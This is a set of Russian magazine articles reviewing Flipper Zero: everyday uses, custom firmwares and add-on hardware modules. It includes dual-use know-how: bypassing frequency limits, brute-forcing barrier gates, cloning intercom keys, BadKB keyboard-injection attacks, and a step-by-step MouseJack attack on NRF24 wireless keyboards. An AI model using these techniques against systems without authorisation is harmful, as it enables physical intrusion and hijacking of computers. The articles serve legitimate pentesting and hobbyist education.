заказал на одном из маркетплейсов пучок из десяти болванок за 300 с чем-то
рублей. Важно: заказывать нужно ключи Т5577. Именно они поддерживают
перезапись и отлично работают.

Успешно прошиваем болванки Т5577 (в зеленом корпусе видны внутренности ключа — чип и антенна)
NFC
В 2020 году, когда я решил поддержать «Флиппер» на «Кикстартере», я возлагал большие надежды на NFC. В России у меня очень многое работало
именно на этой технологии — шлагбаум в гаражном кооперативе, офисный
пропуск, домофон, браслет в фитнес-клубе. А вот после переезда, к моему
большому сожалению, я не смог найти для этой функции ни одного полезного
применения. Все, что мне удалось сделать, — немного поэкспериментировать.
Первое, что пришло в голову, — считать UID со своих банковских карт,
но использовать копии для оплаты все равно не получится, мешает защита.
Также я попробовал считать информацию с чипа своего российского загранпаспорта, но смартфон с этой функцией справляется лучше, потому что
информация на чипе запаролена и открывается только после считывания
и распознавания машиночитаемой зоны.
Последним экспериментом было считывание карты «Тройка», которую я
нашел в старых вещах. К моему удивлению, «Флиппер» не только считал карту, но и показал баланс в пять рублей. К сожалению, дальше экспериментировать с транспортными картами я не могу, потому что у нас метро до сих
пор работает по жетонам, а наземный транспорт вообще оплачивается только наличными.

Пять рублей
В целом у меня сложилось такое впечатление, что с NFC уже более-менее
освоились смартфоны и дополнительное устройство здесь ничего нового
не даст.
IR
Отличная функция «Флиппера», которой я также постоянно пользуюсь, —
это ИК-пульт.
Если судить по «Тиктоку», основное применение этой функции — выключение телевизоров и всяких рекламных щитов в торговых центрах. В этом я
никакого смысла не вижу, в отличие от замечательной возможности поуправлять бытовой техникой. Тут и элементарное использование в качестве
запасного пульта от телевизора, ресивера, ТВ-приставки (увы, не слишком
удобно из-за особенностей управления «Флиппером») и проектора.
Кстати, это огромная дыра в безопасности мероприятий. Я не раз выступал в больших залах с проектором, подвешенным под потолком и управляемым только с ИК-пульта. Не хотелось бы во время выступления нарваться
на шутника с «Флиппером»!
Если ты когда-нибудь работал в офисе, наверняка сталкивался с проблемой пульта от кондиционера. Пульт обычно один на весь офис и либо лежит
у ответственного за его оборону сотрудника, либо постоянно теряется.
К счастью, «Флиппер» позволяет решить этот вопрос раз и навсегда, причем
универсальный пульт от кондиционера уже входит в дефолтную прошивку.
Беглый ресерч показал, что с кондиционерами все несколько сложнее,
чем, например, с телевизорами. Их пульты передают сразу все параметры
при нажатии любой кнопки, а некоторые еще получают обратную связь. Однако это совершенно не мешает управлять кондиционером с «Флиппера», хоть
и в немного нештатном режиме.
Если сигналов твоего кондиционера не было в универсальном приложении, то можешь, как и я, записать сигнал с пульта. Как вариант, такие записи
можно найти и скачать. По моему опыту, оба способа отлично работают: файл
для телевизора я скачал, а пульт от кондиционера малоизвестной марки
пришлось копировать.
IBUTTON
Самый первый раз я попытался воспользоваться «Флиппером» прямо
по дороге с почты, на которой его забрал, — чтобы скопировать ключ
домофона. В моем домофоне используется контактная таблетка iButton
(работает по протоколу 1-Wire) производства Dallas Semiconductor. Ключ скопировался моментально, но, к моему огромному сожалению, как я ни тыкал
«Флиппером» в домофон, дверь так и не открылась.
Поначалу я грешил на конструкцию корпуса и размещение пого-пинов
(подпружиненных контактов). Чтобы проверить эту версию, я подключился
к домофону проводами, благо контакты iButton продублированы в верхней
части «Флиппера» (GPIO 8 и 17).

Проверяем контакт
На этот раз домофон сразу открылся. Оказалось, что такая проблема часто
возникает у новых пользователей. Чтобы с первого раза открывать такие
домофоны, требуется выработать некоторый скилл одновременного попадания пого-пинами по обоим контактам.
Можно не только эмулировать ключ, но и воспользоваться функцией
копирования. Я купил себе одну пустую болванку в ближайшей палатке, где
изготавливают ключи. Flipper отлично справился с копированием на нее всех
попадавшихся мне ключей.
В общем, в итоге минус еще один ключ и потенциальная возможность
накопировать ключи всем желающим. Болванки для таких ключей тоже легко
найти на маркетплейсах — ищи по ключевому слову rw1990. Стоят они примерно столько же, сколько и RFID-ключи.
U2F
U2F (Universal 2nd Factor) — открытый бездрайверный протокол для двухфакторной аутентификации. U2F-устройство можно использовать как второй
фактор, например для аутентификации в онлайновых сервисах.
Как только я обнаружил, что «Флиппер» может служить U2F-ключом/
токеном, сразу же решил настроить его для двухфакторной аутентификации
одного из своих почтовых ящиков. Я уже давно хотел сделать что-то такое,
но отпугивала необходимость покупать и носить с собой лишнюю флешку.
Регистрация «Флиппера» в качестве токена на «Маке» прошла без проблем и с первого же раза. Главное — не забывать переключать в браузере
двухфакторную аутентификацию со стандартной на физический ключ.
Теперь при новом входе в веб-интерфейс почты после ввода логина
и пароля появляется запрос на двухфакторную аутентификацию. В способе
входа выбираем «Ключ безопасности». Для успешного логина нужно подключить «Флиппер» к компьютеру по USB, выбрать в меню пункт U2F и подтвердить логин нажатием средней кнопки на «Флиппере».
Так у меня появилась еще одна причина всегда иметь при себе «Флиппер».
BLUETOOTH
«Флиппер» использует Bluetooth LE для подключения к смартфону, но этот же
интерфейс можно использовать и в более интересных целях. Например, подключать как контроллер для компьютеров и телефонов.
«Флиппер» может работать как мышка или клавиатура. Не слишком удобно, но в некоторых случаях пригодится. Например, можно использовать его
как кликер для презентаций. Для этого в его приложении есть пункт Keynote.
Я нахожу эту функцию крайне полезной: у «Флиппера» удобные форма
и размеры, он всегда с собой, да и просто круто выступать в руках с «Флиппером». Публике нравится!
Что касается управления смартфоном, то и тут у меня нашелся отличный
юзкейс. При съемке фото или видео со штатива я обычно использовал копеечный китайский пультик, который после подключения по Bluetooth выполнял
единственное действие — имитировал нажатие физической кнопки громкости, которая на iPhone привязана к спуску затвора.
«Флиппер» с этой задачей отлично справляется, но, если попробовать
сделать то же самое из некоторых приложений (например, попытаться
записать reel в Instagram), запись не начнется. Чтобы решить эту проблему,
можно включить на iPhone функцию AssistiveTouch и, используя «Флиппер»
в режиме мышки, нажимать кнопку записи (или любую другую кнопку на экране).
Также «Флиппер» отлично работает в качестве пульта — например когда
стримишь музыку с ноутбука на беспроводную колонку.
ÂÛÂÎÄÛ
Писать про «Флиппер» — это примерно как писать про смартфон или компьютер. Это полноценная открытая программно-аппаратная платформа со своими особенностями, операционной системой и прочим. У нее масса возможностей и применений, для каждого пользователя набор любимых фич
будет другим.
Я всегда ношу с собой «Флиппер» и использую его каждый день. Он избавил меня от необходимости иметь при себе громоздкие пульты и лишние
ключи. Часто использую его как ИК-пульт для телевизора, кондиционера
и проектора, как Bluetooth-пульт или кликер для компьютера и телефона и как
ключ U2F.
Так что, даже если ты ничего не мастеришь и не взламываешь, «Флиппер»
вполне может пригодиться в обычной жизни. Если же ты увлекаешься схемотехникой и прочим DIY или тебе нужен универсальный и компактный инструмент для физических пентестов, то ты, скорее всего, оценишь «Флиппер»
еще выше.
Кастомные прошивки со снятым ограничением на частоты и функциями
брутфорса делают «Флиппер» гораздо более серьезным девайсом, а дополнительные аппаратные модули (например, внешние адаптеры Wi-Fi) и сторонние программы и плагины значительно расширяют возможности.
Не мог я не оценить и усилия, которые разработчики прилагают к поддержке проекта. Постоянно выходят обновления с новыми функциями и заплатками. К примеру, с последним обновлением (0.82.3) за счет функции глубокого
сна длительность работы батареи увеличилась в четыре (!) раза.
Кстати, даже на предрелизных версиях прошивки «Флиппер» работает
стабильно. За все время использования он успел зависнуть или внезапно
ребутнуться всего несколько раз.
Вокруг устройства уже сформировалось активное международное сообщество. С любым вопросом о работе с «Флиппером» можно прийти на официальный форум или сабреддит и найти ответ, попросить помощи или как
минимум обсудить интересующую тему.
Главный же вывод для меня заключается в том, что «Флиппер» — не просто хайповая игрушка для гиков и не только отличное устройство для изучения
беспроводных атак, но и очень полезный в хозяйстве девайс, который
находит применение в самых разных случаях.

COVERSTORY

ВЫБИРАЕМ АПГРЕЙД
ДЛЯ ТВОЕГО «ФЛИППЕРА»

0neSeven
hanz0ctf@gmail.com

W0lFreaK
Независимый исследователь
веба https://t.me/pain_test
wolfreak449@gmail.com

Flipper Zero — «хакерский мультитул», о котором ты уже
наверняка наслышан. Возможно, даже успел раздобыть
устройство и самостоятельно поразвлекаться с ним. В этой
статье мы поговорим о прошивках, которые не только позволят вывести баловство на новый уровень, но и помогут
использовать Flipper при реальных физических пентестах.

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вредоносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

Стандартная прошивка очень сильно ограничивает потенциал Flipper Zero,
в том числе не дает перехватывать и анализировать сигналы определенных
частот (например, сигналы автомобильной сигнализации), не позволяет проводить брутфорс-атаки на протоколы, требующие передачи определенных
значений, а также имеет мало записанных встроенных сигналов, пригодных
для атак на популярные системы.
Однако архитектура устройства открыта, а значит, ты можешь поставить
свою прошивку, что расширяет горизонты для экспериментов. С начала продаж устройства появилось множество прошивок, созданных сторонними разработчиками и сообществом. У каждой — свои ключевые возможности и преимущества. Давай посмотрим на них поближе!

Читай другие публикации «Хакера» о Flipper Zero:
«Что я успел натворить за месяц с Flipper Zero»
и «В гостях у Дани. Павел Жовнер о проблемах
разработки, новом маркетплейсе и следующем
Flipper».

FLIPPER ZERO FIRMWARE
Flipper Zero Firmware — это стандартная прошивка, с которой Flipper Zero приезжает к тебе с завода. В ней есть множество инструментов, однако
со встроенными ограничениями, которые не позволяют полностью раскрыть
весь технический потенциал девайса.

Стандартный главный экран
Прошивка будет полезна тем, кто только приобрел Flipper Zero и хочет ознакомиться с его базовыми возможностями для минимального ежедневного
использования. Например, можешь клонировать в него все свои пропуска
и пульты дистанционного управления, чтобы не носить их каждый день
с собой.

Профиль нашего дельфина
Вот четыре раздела стандартной прошивки, которые будут больше всего
отличаться в кастомных версиях.
• Sub-GHz — этот раздел позволяет выполнять перехват, запись и эмуляцию радиосигналов. В стандартной прошивке этот инструмент ограничен в возможностях. Например, при попытке перехватить радиосигнал
автомобильного ключа Flipper определит этот сигнал, но не даст записать
его в память и тем более повторить. Это намеренное ограничение, ведь
в плохих руках эта игрушка может стать опасной.

Инструмент перехвата радиочастот — Sub-GHz
• Infrared — инфракрасный сигнал. Позволяет повелевать бытовой техникой. В стандартной прошивке дает возможность управлять четырьмя
типами техники: телевизорами, аудиопроигрывателями, проекторами
и кондиционерами.
• BadUSB — позволяет эмулировать проводную клавиатуру при подключении «Флиппера» к ПК. Содержит два демосценария, при запуске
которых на подключенном ПК открывается блокнот и выводится лого
«Флиппера» в виде ASCII-арта.
• Applications — раздел содержит дополнительные инструменты,
не попавшие ни в один из предыдущих разделов. Этот пункт в официальной прошивке интересен лишь одним — здесь можно поиграть в змейку.

Интерфейс работы с iButton
UNLEASHED
Unleashed — первый форк официальной прошивки, позволяющий снять региональные ограничения с Flipper Zero, а также добавить новые инструменты.
В репозитории она представлена в двух видах: базовом и расширенном, имеющем огромное количество предустановленных приложений.

Экран приветствия Unleashed
Unleashed отлично подойдет тем, кому мало базовых функций Flipper Zero.
К примеру, с помощью этой прошивки ты можешь не только перехватывать,
записывать и повторять сигналы, но и производить брутфорс-атаки на системы.
Здесь доступны инструменты, позволяющие в автоматизированном
режиме перебрать все возможные коды доступа для открытия шлагбаума
и гарантированно его открыть без перехвата исходного сигнала (тогда
как официальная прошивка дает лишь записать существующий сигнал и эмулировать его в дальнейшем).
Также в разделе Sub-GHz сняты все региональные ограничения
на используемые частоты сигналов. А это значит, что с помощью Unleashed
можно перехватить и эмулировать абсолютно любой сигнал, доступный хардварной части Flipper Zero.

Sub-GHz — добавлено отображение сведений о текущем сканировании
Кроме прочего, в разделе Applications этой прошивки — множество приложений на все случаи жизни: от конвертера физических величин и генератора
штрих-кодов до среды разработки на Brainfuck и демейка Doom.
Кстати, если тебе не нравится имя «Флиппера», с которым он приехал
с завода, то Unleashed, как и все другие неофициальные прошивки из этой
статьи, поможет решить эту проблему.

Изменение имени
В остальных разделах тоже множество небольших изменений. К примеру,
добавлена поддержка классических ключей Mifare, функция захвата и отправки динамических шифрованных протоколов и скользящих кодов.
В общем, с прошивкой Unleashed твой «Флиппер» уже вполне потянет
на инструмент пентестера. Постарайся не злоупотреблять его возможностями и помни про незаконность некоторых действий!
XTREME
Xtreme — это, пожалуй, золотая середина между стандартной прошивкой
и форком RogueMaster. По сути, это полностью переработанная официальная
прошивка, но с функциями, позаимствованными из RogueMaster, и намного
стабильнее его.

Кастомный профиль нашего дельфина
Главное уникальное нововведение — максимальная кастомизация возможностей BadUSB/KB. Еще можно добавить новые уровни для нашего
«Флиппера» (помнишь, что это еще и тамагочи?), корректировать режимы
USB/BT для работы с BadUSB и управлять протоколами Sub-GHz. Как и
Unleashed, прошивка позволяет снять все региональные ограничения, проводить брутфорс-атаки и обладает не только всеми ее преимуществами, но и
некоторыми новыми функциями.

Возможность полной кастомизации состояния дельфина
Функция BadKB позволяет эмулировать клавиатуру и таким образом проводить HID-атаки. Можно взять за основу готовый скрипт, который выводит
приветствие «Флиппера» через блокнот на любой ОС: Windows, macOS, iOS,
Android и так далее. Поддерживается язык Ducky Script Language 1.0. Если
поищешь на GitHub, найдешь более 500 готовых пейлоадов на нем.
У BadKB есть два режима работы — классический (по проводу)
и Bluetooth, второй можно настроить так, чтобы «Флиппер» запоминал
устройства. При повторной атаке он будет подключаться к жертве сам. Есть
возможность изменять раскладки клавиатуры и даже MAC-адрес BT-модуля
твоего кибердельфина.

Настройки BadKB

Инструмент Sub-GHz
Это прошивка для продвинутых пользователей, которые хорошо понимают,
зачем им Flipper и зачем все эти новые функции. И конечно, она хорошо
подойдет во время физических пентестов и при комплексном редтиминге.
ROGUEMASTER
RogueMaster — форк прошивки Unleashed, который во многом схож с оригиналом, но отличается кастомным набором анимаций. Часть из них можно
приобрести, оплатив подписку на Patreon автора RogueMaster.

Главный экран прошивки

Кастомный профиль дельфина
Новые функции — те же, что в прошивке Xtreme, разве что параметры
для BadUSB слегка урезаны (нет настроек Bluetooth, как у Xtreme). К тому же
прошивка менее стабильна, чем другие рассмотренные нами. Больше всего
крашей при наших тестах было именно с ней.
Однако раздел Application здесь — это просто огромный список утилит.
Тут можно найти различные фаззеры для iButton, брутфорсер RFID и SubGHz, режим CLI. Впрочем, с командной строкой рекомендую быть поаккуратнее — из десяти сделанных мной попыток три привели к падению системы.

Инструмент перехвата радиочастот Sub-GHz

Интерфейс работы с iButton
В целом поддержка приложений в формате FAP скоро должна появиться
в основной прошивке Flipper, так что RogueMaster останется скорее для желающих самостоятельно поупражняться в дебаге и изучении исходных кодов.
Или можешь поставить ее, если тебе очень-очень хочется изменить «паспорт» твоего Flipper Zero, сменив не только аватарку, но и задний фон.
Ñòàíäàðò

Unlea
shed

Xtr
em
e

Отключены региональные ограничения



+

+

+

Настройка интерфейса





+

+

Дополнительные модули

-

+

+

+

Стабильность работы

+

+

+



Актуальность обновлений



+/–

+

+

Doom



+

+

+

Rogue
Master

ÂÛÂÎÄÛ
После нескольких месяцев тестирования и ежедневного использования
Flipper Zero с нестандартными прошивками можем дать тебе некоторые
рекомендации по выбору. В первую очередь определись, как ты будешь
использовать устройство, и если действительно планируешь проводить продвинутые атаки (в исключительно безобидных целях или по контракту на тестирование), то выбирай прошивку с нужными возможностями. Если такой
необходимости нет, то нет смысла снижать стабильность работы устройства.
Самый верный путь для начала знакомства с опциональными возможностями Flipper Zero — поставить расширенную версию Unleashed или официальную прошивку с актуальными для себя инструментами и модулями (которых
немало уже и в официальном репозитории Flipper Zero).
Если увлекаешься кастомизацией, твой выбор — Xtreme или RogueMaster,
а если тебе важны стабильность и продвинутые возможности — Unleashed
или Xtreme. Мы остановили свой выбор на этих двух наиболее стабильных
и практичных системах. За все время тестирования и использования они
не сбоили и не зависали, как это было с RogueMaster. Их функций более чем
достаточно, а возможность менять настройки прошивки через меню
Xtreme — дополнительный плюс.

COVERSTORY

ЧТО МОГУТ ВНЕШНИЕ
МОДУЛИ ДЛЯ FLIPPER ZERO

Flipper Zero называют хакерским мультитулом, а хакеры — это люди, которые
любят во всем покопаться сами. Разработчики об этом прекрасно знали и приложили
к «Флипперу» его полные схемы, исходный
код прошивки и приложений и весь необходимый инструментарий. Сообщество
это оценило и стало создавать не только
программы, но и кастомные модули
для Flipper Zero. О них и поговорим сегодня.

Польский Кот
brutsky@glc.ru

«Хакер» уже неоднократно писал о Flipper Zero:
о его создании читай в статье «В гостях у Дани.
Павел Жовнер о проблемах разработки, новом
маркетплейсе и следующем Flipper», об альтернативных прошивках, которые тебе пригодятся
при работе с кастомными модулями, — в статье
«Альтернативные прошивки Flipper Zero. Выбираем апгрейд для твоего Flipper», об опыте боевого
применения — в материале «Боевой дельфин. Что
я успел натворить за месяц с Flipper Zero».

На одном только Tindie сейчас доступно 85 разных модулей для нашего
кибердельфина, и их число постоянно растет. Кроме Tindie, многие русскоговорящие авторы торгуют в профильных чатах через Telegram и Discord.
В целом число доступных модулей достигает примерно сотни.
Я приобрел несколько модулей, показавшихся мне интересными, —
в основном производства Rabbit Labs — и делюсь результатами их тестирования.

Некоторые из этих модулей будут в сегодняшнем обзоре
Кроме того, некоторые модули можно сделать самостоятельно. Три таких я
тоже покажу в статье.
Почти все модули в сегодняшнем обзоре работают, только если на твоем
Flipper Zero установлена неофициальная прошивка. Я рекомендую Unleashed,
как самую проработанную и стабильную, но сгодится и XFW, и даже
RogueMaster (с которым связываться категорически не советуют вообще ни в
каких целях). Если модуль работает на официальной прошивке — об этом
будет написано дополнительно.

Прежде чем мы начнем, хочу предостеречь
от вредительства и откровенной уголовщины.
Если за игры с телевизорами в ТЦ тебе, скорее
всего, вообще ничего не будет, то перехват чужих
данных и заражение вредоносными программами
однозначно подпадают под соответствующие
статьи УК твоей страны. Вся информация предоставлена исключительно в образовательных целях
для профессиональных исследователей безопасности, которые будут применять ее при тестировании на проникновение с договором и разрешением заказчика. Соблюдай законы!

ÇÂÅÇÄÀ ÑÌÅÐÒÈ
Ãäå êóïèòü: Tindie (28 долларов)
Портативная «Звезда смерти» пусть и не позволяет уничтожать целые планеты с помощью «Флиппера», но довольно эффективно захватывает контроль
над базами повстанцев разнообразным оборудованием с ИК-управлением.

Вид спереди, ГОСТ 2.305—2008
Для работы модуля нужно включить 5 В на GPIO-гребенке в настройках (GPIO
→ 5V on GPIO → ON) и отладочный режим (Settings → System → Debug →
ON). На последней версии Unleashed отладочный режим включать уже стало
не обязательно.

Модули для Flipper Zero могут работать от разных напряжений. Большинство
работают от 3,3 В, но для подключения такого модуля придется задействовать широкую гребенку (на картинке — в нижней части), потому что только
в ней есть соответствующий выход.

Модули под напряжение 5 В можно целиком подключить в короткую гребенку
(на картинке сверху), что позволяет делать их более компактными
при
использовании
встроенного
понижающего
стабилизатора
с 5 на 3,3 В (если модулю нужно 3,3 В), а еще это позволяет запитывать
модуль от значительно менее шумного источника питания, чем встроенная
линия +3,3 В «Флиппера». Поэтому варианты модулей на 5 В предпочтительней, и по возможности я буду рассматривать именно их, хотя для работы
с ними почти всегда нужно включать пятивольтовый выход вручную
перед каждым использованием.

После проделанных манипуляций светодиод на передней стороне сообщит
о готовности к выстрелу. Можно открывать любой пульт и пользоваться
как обычно. Но имей в виду, что сами ИК-диоды расположены на спине
модуля, то есть для наведения на принимающее устройство (телевизор, проектор или кондиционер, к примеру) нужно направлять Flipper Zero задней стороной в направлении приемника, что не очень удобно. Решение в целом
не слишком удобное, потому что без надежного и жесткого крепления
к самому «Флипперу» очень легко задеть что-нибудь торчащим из корпуса
модулем и отломать его.
Еще одна проблема, которая преследует почти все внешние ИК-модули,
заключается в том, что если достать модуль и вставить обратно, то 5 В на
внешней гребенке пропадают и нужно выйти из режима пульта, включить 5 В в
настройках и заново пролезть через четырехуровневый выбор нужного пульта. Поскольку недоработка аппаратная, исправить ее программным путем
практически невозможно. Защита отключает модуль 5 В из-за слишком большой емкости конденсаторов в цепи питания, при зарядке которых резко возрастает ток, и «Флиппер» считает, что подключенное устройство неисправно.
Для тестирования я выбрался в далекое от цивилизации место, поставил
в поле проектор и пошел проверять дальность. Стабильное управление оказалось возможно на расстоянии 35 м (или 43 шага по моему измерению).
Еще удалось получить вот такой модуль в корпусе и с линзой.

Корпус максимально простой и отпечатан на 3D-принтере FDM, но держится
нормально и нареканий невызывает. Я его разобрал и обнаружил, что
модуль внутри стоит точно такой же, даже Звезда смерти на месте.

Купить корпус можно отдельно на Etsy (80 злотых).

А вот результаты тестирования разочаровали. Я надеялся, что линза поможет
фокусировать излучение и модуль будет добивать дальше, но его дальность
составила всего 35 шагов (около 28 м), что почти на 20% меньше. Зато
попасть по приемнику с ней оказалось куда проще: видимо, линза рассеивающая, а не собирающая. Впрочем, в сентябре 2023 года должна выйти
новая версия модуля с регулируемой линзой, которая все же поможет
фокусировать луч для увеличения дальнобойности.
Модуль в корпусе оставляет еще и меньше места для чехла, так что если
твой дельфин одет, то модуль со своим корпусом может не подойти. Но это
лишь мое предположение, потому что у меня чехла нет.
У обеих версий модуля заявлена защита от неправильной полярности, так
что я рискнул одним из них и попробовал вставить неправильной стороной
(правильная — это когда луч смерти бьет тебе прямо в глаз). Ничего не сгорело, а модуль, когда я его переставил правильно, продолжил работать
как ни в чем не бывало. При этом никакой индикации неправильного подключения на модуле нет, из-за чего можно сначала подумать, что он неисправен.
ÈÊ-ÁËÀÑÒÅÐ
Ãäå êóïèòü: Tindie (43 доллара)

По промокоду FAB7E18D ты получишь скидку 10% на большинство товаров в магазине
TehRabbitt. Код действует до 15 октября и может
быть использован только один раз на человека.
Ограничений на сумму заказа нет.

Это еще один ИК-модуль того же разработчика, что и предыдущие. Отличается он формой, мощностью и возможностью отключить индикаторный светодиод.

Из-за углового расположения контактов этот модуль можно воткнуть
во «Флиппер» и использовать, направляя вперед «головой», а не «спиной».
Индикаторный светодиод, который из «Звезды смерти» светил прямо в глаз,
как бы угрожая сжечь, теперь светит в другую сторону, а переключатель позволяет вообще его отключить, чтобы не мешал.
Случайно задеть и отломать этот модуль тоже значительно сложнее, чем
предыдущие: он прочно сидит в гнездах GPIO и никуда не выпирает, да и
при использовании его можно держать куда удобнее и безопаснее.
Что касается дальности, то тут она составила уже внушительные 52 шага,
то есть около 42 м. Это на 33% больше, чем у модуля с линзой, или на 17%
больше, чем у его варианта без линзы.
Кстати, при тестировании в помещении я выяснил интересную подробность: на расстоянии метров до двадцати вообще нет разницы, в какую
сторону направлены диоды модуля. Все прекрасно работало, даже если стоять спиной к проектору и светить в противоположную сторону. Подозреваю,
что это может быть как-то связано с белыми стенами зала, в котором я был,
но впечатление о модуле осталось исключительно положительное.
NRF24
Ãäå êóïèòü: Tindie (45 долларов), AliExpress (70 рублей — основа
для самодельного варианта)
Это один из немногих модулей, которые можно сделать самому, а еще он
работает с официальной прошивкой.

Нужен этот модуль для того, чтобы атаковать уязвимые беспроводные клавиатуры и мыши, использующие NRF24 для передачи данных. Модуль позволяет при должном везении запустить по воздуху на целевой машине скрипт
BadUSB, что превращает Flipper в мощное оружие, пусть и с множеством
ограничений.

Список уязвимых устройств можно найти на том
же сайте, где и была впервые описана эта атака.
Демонстрацию смотри на YouTube.

Чтобы провести атаку, нужно найти канал, где проживает уязвимое устройство, с помощью приложения Scanner (все приложения для этой атаки
находятся в каталоге Apps → GPIO). Затем запоминаем адрес устройства,
открываем приложение Mouse Jacker, выбираем скрипт BadUSB, который
хотим выполнить, и запускаем код. Полную демонстрацию атаки можно посмотреть на YouTube.

Скриншот из видео автора атаки
Атака возможна потому, что уязвимые устройства не шифруют и не подписывают пакеты, а приемный свисток, который подключается к компьютеру,
слепо эмулирует команды клавиатуры, даже если он шел с мышью. То есть
вся безопасность такой системы строится на том, что никто не должен знать
адрес уязвимого устройства, хотя тот легко находится сниффером
с помощью модуля за полдоллара.

Самодельный вариант
Если не хочется покупать готовый модуль, а руки чешутся, можно собрать
временную конструкцию из проводов и китайского варианта с «АлиЭкспресса». Работать будет примерно так же, но потребует значительно больше места, и поделка будет питаться от куда более шумной линии 3,3 В, тогда как в
покупном есть свой стабилизатор.
Самодельный модуль в ходе всех этих экспериментов я в конце концов
спалил, перепутав полярность питания. Имей в виду мой опыт и будь осторожен: голые модули не имеют защиты от переполюсовки. Впрочем, у покупного тоже никаких защитных диодов я не нашел, поэтому тестировать в таком
режиме я его не стал. Должен же у меня остаться хоть один рабочий модуль.
ÌÎÄÓËÜ-ÏÅÐÅÕÎÄÍÈÊ
Ãäå êóïèòü: Tindie (21 äîëëàð)
Сама по себе плата никакой полезной нагрузки не несет. Это почти что
пассивный переходник для подключения других модулей, который позволяет
быстро извлекать их. Также он обеспечивает дополнительные 3,3 В на
маленькую гребенку справа и позволяет не уничтожать встроенные контакты
внутри Flipper Zero. Я это считаю полезным, потому что подключать разные
присадки мне приходится весьма часто. Но учти, что у меня нет чехла
для «Флиппера», а с чехлом этот модуль совершенно не совместим.

Кроме обычных пятивольтовых модулей, можно подключать и китайские вроде CC1101. И конечно, попиново совпадающий с ним NRF24 тоже прекрасно
работает с таким переходником.

NRF24, подключенный через переходник
Если хочется максимально сэкономить и иметь не только CC1101, но и NRF24,
то это отличный вариант. Суммарно вместе с переходником все они обойдутся где-то в 30 долларов, что дешевле самого простого модуля
CC1101 в отдельном исполнении. Но это без учета стоимости доставок,
с которой, скорее всего, выгода будет уже не столь очевидна.
ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ
Ãäå êóïèòü: Tindie (40 долларов) / прямой заказ в РФ (2000 рублей)

По промокоду XAKEP5 ты получишь скидку 5%
на заказ модуля через Tindie. Код действителен
до 31 октября и может быть использован только
один раз на человека.

Внешний радиомодуль CC1101 делает то же самое, что и аналогичный чип
внутри самого Flipper Zero, но делает это куда лучше. За счет расположения
снаружи, внешней антенны, большего усиления и менее шумного питания
дальность приема сигнала удалось увеличить с 12 м до примерно 65 с антенной-коротышкой, как на фотографии.

Продолжение статьи



← НАЧАЛО СТАТЬИ

COVERSTORY

ЧТО МОГУТ ВНЕШНИЕ МОДУЛИ ДЛЯ FLIPPER
ZERO

Этот модуль полноценно поддерживается даже официальной прошивкой.
Однако с таким радио можно гораздо больше сделать в Unleashed и его форках — там поддержку реализуют сами авторы модулей и новые функции появляются быстрее и работают лучше.
Нужен этот модуль еще и для того, чтобы подключать внешние антенны
(сам Flipper Zero такой возможности лишен). С этим и был связан один
из моих тестов: если со штатной антенной дальность приема не дотягивала
даже до 70 м, то с дипольной антенной из Китая получилось принять сигнал
с расстояния в 350 м! Такого результата удалось добиться даже не совсем
в прямой видимости (между передатчиком и приемником постоянно ездили
машины) прямо в центре Варшавы, где полно разнообразных помех.

Тестировал все радиомодули я вот на таком пульте от подсветки компьютера
Для использования достаточно подключить модуль к Flipper Zero, зайти
в меню SubGHz → Radio Settings и установить пункт Module в External. Теперь
при наличии подключенного внешнего модуля во всех приложениях будет
работать именно внешний, а при его отсутствии — внутренний. При этом
вручную ничего настраивать уже не нужно. Магия!

Модуль оптимизирован для работы на частоте 433 МГц, и его не стоит
использовать для сильно более высоких частот. Говорят, с родной антенной
внешний модуль хорошо работает на 315 и 443 МГц, а на 868 МГц его
эффективность даже хуже, чем у «Флиппера» без внешнего модуля вообще.
Справедливости ради, иначе как на 315 или 443 МГц я никогда ничего и не
ловил.
Само собой, есть и вариант «для бедных» с подключением китайского
модуля проводками и использованием линии +3,3 В.

Схема подключения
И еще один вариант — подключить такой же китайский модуль в переходник,
который я упоминал выше. Останавливаться на этом варианте мы не будем.
ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ ÍÀ 900 ÌÃÖ
Ãäå êóïèòü: Tindie (22 доллара)
Главная проблема предыдущего модуля заключается в том, что он создавался с прицелом на работу на частоте 443 МГц и близких (например,
315 МГц). Но что, если нужно работать в верхней части поддерживаемого
СС1101 диапазона? Частоты 868 и 915 МГц, где проживает немалое количество устройств, «Флиппером» почти не покрыты, и такой модуль призван
исправить эту проблему. Обвязка чипа и строение платы специально оптимизированы на работу на высоких частотах и позволяют снизить шум
и повысить эффективность. Сам чип вообще уместился под металлическим
экраном, который защищает его от наводок.

Фотография взята со страницы товара
Дополнительно модуль снабжен разъемом SMA для подключения более мощной антенны на случай, если она вдруг тебе понадобится.
Модуль попиново совместим с другими реализациями CC1101, что позволяет использовать его с адаптерами других производителей или просто
запихнуть в модуль-переходник, что я и сделал.

В темноте такая конструкция красиво светится!
Конечно, я не мог его не потестировать. Дальность со все тем же пультом
из прошлого теста и антенной на 433 МГц от того же модуля (антенны
на 900 МГц у меня нет, да и устройств в этом диапазоне тоже, но у модуля
заявлена поддержка 443 МГц, так что ее мы и проверим) составила примерно 57 м, а с дипольной антенной — уже внушительные 170 м. Видимо, отличие в два раза по сравнению с модулем, предназначенным для 443 МГц, действительно связано с неоптимальной обвязкой именно для этого диапазона.

Мне удалось поговорить с TehRabbitt — автором части модулей из сегодняшнего обзора. Среди прочего он анонсировал прокачанную версию радиомодуля на 443 МГц, новый вариант ИК-бластера, несколько вариантов Wi-Fiплат на базе ESP32 (о том, как сделать свою такую здесь и сейчас, я расскажу
ниже), адаптер для использования Flipper Zero как моста для RS232 и проект
беспроводной эмуляции разнообразных USB-устройств (как он будет
работать — загадка даже для меня). А еще TehRabbitt выдал мне промокод,
приведенный во врезке выше. Кстати, если статья понравится читателям, я
постараюсь раздобыть больше модулей и выпустить еще одну часть. Следи
за новостями!

ESP32 MARAUDER
Это очень классный модуль, который позволяет проводить атаки на Wi-Fi. Его
особенность в том, что в готовом к использованию виде он встречается очень
редко, а чтобы его заполучить, нужно повозиться с прошивкой, разобраться
с настройками и посмотреть несколько обучающих видео.

Официальный Wi-Fi DevBoard
Купить подходящую плату можно прямо в официальном магазине Flipper Zero,
где она стоит 29 долларов, но экономные любители извращений могут поискать у себя платы ESP32-WROOM (в среднем 4 доллара) или им подобные
и сделать аналог на коленке. Я так и поступил.

